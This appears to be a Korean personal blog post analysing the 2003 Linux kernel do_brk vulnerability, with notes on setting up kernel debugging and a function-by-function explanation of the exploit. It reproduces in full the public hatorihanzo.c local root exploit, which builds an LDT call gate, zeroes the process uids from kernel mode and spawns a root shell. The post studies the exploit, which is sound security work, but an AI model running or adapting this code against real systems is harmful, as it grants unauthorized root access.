[linux kernel exploit] do_brk 취약점

puingpuing·2021년 10월 25일
0

vun

목록 보기
1/1
post-thumbnail

내가 분석한 취약점중... 제일 분석 기간이 오래걸렸던 취약점.. 취약점 자체는 굉장히 쉬운데, (취약점이 쉽다는건 취약점을 이해하기 쉽고 간단한 취약점이라는 뜻!) 익스플로잇 과정이 너무 어려워서.. 분석이 오래걸림..
익스플로잇 과정을 분석하는데 어려웠던 이유는
1. 옛날 취약점이라 관련 자료도 많지 않고
2. 익스플로잇 과정중에서 모르는 개념이 많았고
3. 디버깅 환경을 구축하는데 시간이 많이 걸렸다. (취약점이 동작하는 커널 버전을 찾고 셋팅하는데..)

DO_BRK 취약점 분석글

0. 환경 셋팅
  1. vmx 수정
debugStub.listen.guest32 = "TRUE"
debugStub.hideBreakpoints = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
monitor.debugOnStartGuest32 = "TRUE"
  1. ida - denugger - remote gdb debugging - 127.0.0.7 8832
  2. 같은 바이너리를 (다른 시스템)리눅스에서 gdb 로 올림
  3. main 함수나 디버깅하고자 하는 함수 주소 알아냄.
  4. ida 에서 bp list 에 추가
  5. 디버깅되고 있는 시스템에서 바이너리 실행하면 브포 걸림.
1. 취약점 내용

do_brk 시스템콜 함수가 있는데, 이 함수는 영역을 할당해주는 함수이다.

do_brk 는 mmap 시스템콜의 간편화된 버전이다. 바운더리 체크를 안해서 임의의 큰 가상 메모리를 생성할 수 있다.
힙은 가상 메모리의 한 영역이고 task_size 한계 전까지 늘어날 수 있다.

do_brk 함수를 사용할 때, size 체크를 안해서 취약점이 발생하게된다.

2. 익스플로잇 방식

exploit code

* hatorihanzo.c
* Linux kernel do_brk vma overflow exploit.
*
* The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>
*
* Further research and exploit development by
* Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.
*
* (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.
*
* COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
* OF PRESENTED CODE IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define MAGIC 0xdefaced /* I should've patented this number -cliph */
#define ENTRY_MAGIC 0
#define ENTRY_GATE 2
#define ENTRY_CS 4
#define ENTRY_DS 6
#define CS ((ENTRY_CS << 2) | 4)
#define DS ((ENTRY_DS << 2) | 4)
#define GATE ((ENTRY_GATE << 2) | 4 | 3)
#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)
#define TOP_ADDR 0xFFFFE000U
/* configuration */
unsigned task_size;
unsigned page;
uid_t uid;
unsigned address;
int dontexit = 0;
void fatal(char * msg)
{
fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));
if (dontexit) {
fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");
kill(getpid(), SIGSTOP);
for (;;) pause();
}
exit(EXIT_FAILURE);
}
void configure(void)
{
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
uid = getuid();
}
void expand(void)
{
unsigned top = (unsigned) sbrk(0);
unsigned limit = address + PAGE_SIZE;
do {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Kernel seems not to be vulnerable");
dontexit = 1;
top += PAGE_SIZE;
} while (top < limit);
}
jmp_buf jmp;
#define MAP_NOPAGE 1
#define MAP_ISPAGE 2
void sigsegv(int signo, siginfo_t * si, void * ptr)
{
struct ucontext * uc = (struct ucontext *) ptr;
int error_code = uc->uc_mcontext.gregs[REG_ERR];
(void)signo;
(void)si;
error_code = MAP_NOPAGE + (error_code & 1);
longjmp(jmp, error_code);
}
void prepare(void)
{
struct sigaction sa;
sa.sa_sigaction = sigsegv;
sa.sa_flags = SA_SIGINFO | SA_NOMASK;
sigemptyset(&sa.sa_mask);
sigaction(SIGSEGV, &sa, NULL);
}
int testaddr(unsigned addr)
{
int val;
val = setjmp(jmp);
if (val == 0) {
asm ("verr (%%eax)" : : "a" (addr));
return MAP_ISPAGE;
}
return val;
}
#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)
#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))
#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)
void map(unsigned * map)
{
unsigned addr = task_size;
unsigned bit = 1;
prepare();
while (addr < TOP_ADDR) {
if (testaddr(addr) == MAP_ISPAGE)
*map |= bit;
addr += PAGE_SIZE;
next(map, bit);
}
signal(SIGSEGV, SIG_DFL);
}
void find(unsigned * m)
{
unsigned addr = task_size;
unsigned bit = 1;
unsigned count;
unsigned tmp;
prepare();
tmp = address = count = 0U;
while (addr < TOP_ADDR) {
int val = testaddr(addr);
if (val == MAP_ISPAGE && (*m & bit) == 0) {
if (!tmp) tmp = addr;
count++;
} else {
if (tmp && count == LDT_PAGES) {
errno = EAGAIN;
if (address)
fatal("double allocation\n");
address = tmp;
}
tmp = count = 0U;
}
addr += PAGE_SIZE;
next(m, bit);
}
signal(SIGSEGV, SIG_DFL);
if (address)
return;
errno = ENOTSUP;
fatal("Unable to determine kernel address");
}
int modify_ldt(int, void *, unsigned);
void ldt(unsigned * m)
{
struct modify_ldt_ldt_s l;
map(m);
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES - 1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
l.entry_number = ENTRY_MAGIC / 2;
if (modify_ldt(1, &l, sizeof(l)) == -1)
fatal("Unable to set up LDT");
find(m);
}
asmlinkage void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
addr[8] = 0;
/* looking for vma */
for (addr = (unsigned *) task_size; addr; addr++) {
if (addr[0] >= task_size && addr[1] < task_size &&
addr[2] == address && addr[3] >= task_size) {
addr[2] = task_size - PAGE_SIZE;
addr = (unsigned *) addr[3];
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}
void kcode(void);
#define __str(s) #s
#define str(s) __str(s)
void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" str(DS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}
void knockout(void)
{
unsigned * addr = (unsigned *) address;
if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)
fatal("Unable to change page protection");
errno = ESRCH;
if (addr[ENTRY_MAGIC] != MAGIC)
fatal("Invalid LDT entry");
/* setting call gate and privileged descriptors */
addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);
addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */
addr[ENTRY_CS+1] = 0x00cf9a00U;
addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */
addr[ENTRY_DS+1] = 0x00cf9200U;
prepare();
if (setjmp(jmp) != 0) {
errno = ENOEXEC;
fatal("Unable to jump to call gate");
}
asm("lcall $" str(GATE) ",$0x0"); /* this is it */
}
void shell(void)
{
char * argv[] = { _PATH_BSHELL, NULL };
execve(_PATH_BSHELL, argv, environ);
fatal("Unable to spawn shell\n");
}
void remap(void)
{
static char stack[8 MB]; /* new stack */
static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };
static unsigned * m;
static unsigned b;
m = (unsigned *) sbrk(map_size);
if (!m)
fatal("Unable to allocate memory");
environ = envp;
asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));
b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
if (munmap((void*)b, task_size - b) == -1)
fatal("Unable to unmap stack");
while (b < task_size) {
if (sbrk(PAGE_SIZE) == NULL)
fatal("Unable to expand BSS");
b += PAGE_SIZE;
}
ldt(m);
expand();
knockout();
shell();
}
int main(void)
{
configure();
remap();
return EXIT_FAILURE;
}


// milw0rm.com [2003-12-05]

main 함수부터 보면
configure() 함수 -> remap() 함수를 호출한다.
configure 함수 내용은 task_size 를 구하고 uid 를 변수에 저장한다.
(task_size 에는 0xc0000000 값이 담기게된다.)

remap 함수에서
1. 8mb 크기의 static 배열을 선언한다.
2. sbrk 함수를 호출해서 세그먼트 영역을 넓혀준다. (0x2000 : 8kb 만큼 넓힘!!)

메모리 레이아웃이 stack, heap, data, text 영역으로 구분되어 있는데, static 으로 선언된 배열은 data 영역에 속하고 여기서 sbrk 함수를 이용해서 영역을 증가하다가 다른 영역까지 침범하게됨.

sbrk 함수를 이용해서 세그먼트 영역을 0xc0000000 까지 넓힌후
ldt, expand, knockout, shell 함수를 차례대로 호출하게 된다.

ldt 함수에서 map 함수를 호출하는데 map 함수에서prepare 함수를 호출한다. prepare 함수부터 살펴보면,
시그널 핸들러를 정의한다.
sigaction(SIGSEGV, &sa, NULL);
sigaction 함수를 통해 segmentation fault 시그널 핸들러를 등록한다. segmentation fault 가 발생하면 정의된 sigsegv 함수가 호출되는 것이다.

error_code = MAP_NOPAGE + (error_code & 1); //0x2 : write access REG_ERR, 0x1  :read access REG_ERR
longjmp(jmp, error_code);

sigsegv 함수 내용은 error code 를 담아서 longjmp 함수를 호출한다.

setjmp 와 longjmp 사용법은, longjmp 함수를 호출하면, setjmp 에서 설정해둔 위치로 가게 된다.

그 이후에 while 문을 돌면서 map 변수에 담긴 주소에 접근해서 특정값을 채워나가기 시작한다.

while (addr < TOP_ADDR)
	{
		if (testaddr(addr) == MAP_ISPAGE)
			*map |= bit; 
		addr += PAGE_SIZE;
		next(map, bit);
	}

메모리에 해당값을 쓰는 이유는 향후 find 함수에서 원하는 위치를 찾을때 사용된다.

ldt 란 gdt 와 비슷하게 디스크립터를 포함하는 테이블이다. 세그먼트 limit 와 access 권한이 기술되어 있다. modify_ldt 시스템콜을 이용해서 LDT entry 에 쓴다.

map 함수와 find 함수를 통해 ldt 가 위치한 곳을 찾고, expand 함수를 통해 sbrk 로 ldt 가 위치한 주소까지 경계를 늘린다.
그 후, mprotect 함수를 이용해서 쓰기권한으로 바꾼 후, ldt 테이블을 셋팅해서 call gate 를 만든다.

	/* setting call gate and privileged descriptors */
	addr[ENTRY_GATE + 0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU); 
	addr[ENTRY_GATE + 1] = ((unsigned)kcode & ~0xffffU) | 0xec00U; /* ec04 */
	addr[ENTRY_CS + 0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */
	addr[ENTRY_CS + 1] = 0x00cf9a00U;
	addr[ENTRY_DS + 0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */
	addr[ENTRY_DS + 1] = 0x00cf9200U;

(ldt 테이블이 call gate 로 쓰일수 있다는것을 몰랐는데.. 이걸 이용해서 ex 가 가능한게 신기할 따름..)

무튼 call gate 에서 유심하게 봐야할 곳은 kcode 함수를 호출하는 부분이다. knockout 함수에서 call 0xf 를 통해 call gate 로 진입한다.

해당 포맷에 맞게 knockout 함수에서 셋팅하고 call gate 진입하면 kcode 함수가 호출된다.
kcode 함수는 kernel 함수를 호출하고 kernel 함수에서는 uid 를 0으로 셋팅해서 권한 상승을 한다.

while (addr[0] != uid || addr[1] != uid ||
		   addr[2] != uid || addr[3] != uid)
		addr++;
	addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
	addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
	addr[8] = 0;

그리고 vm_area_struct 구조체를 찾아서 vm_start, vm_end 값을 각각 변경한다.(현재 sbrk 를 통해 커널 영역까지 유저 프로세스에서 사용하는 유저 영역으로 알고 나중에 프로세스 종료될 때 크래쉬가 날 수 있는 상황을 대비해서 셋팅하는 듯하다.)

권한 상승까지 하고 shell 을 실행시키면 끝.

3. 느낀점
  1. 문서화는 쉽지않다..
  2. 직접 커널 디버깅 해보는 것을 추천(익스코드만 봤을때는 정확하게 이해가 안갔는데, 디버깅해보고 메모리 확인해보면서 더 자세하게 이해할 수 있음)
profile
happy hacking

0개의 댓글